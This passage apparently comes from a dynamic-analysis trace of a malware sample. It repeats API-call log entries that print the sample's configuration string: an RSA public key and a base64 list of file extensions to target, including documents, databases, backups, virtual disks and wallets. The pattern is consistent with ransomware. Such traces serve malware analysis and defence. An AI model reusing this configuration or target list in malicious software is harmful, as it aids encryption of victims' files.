c2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5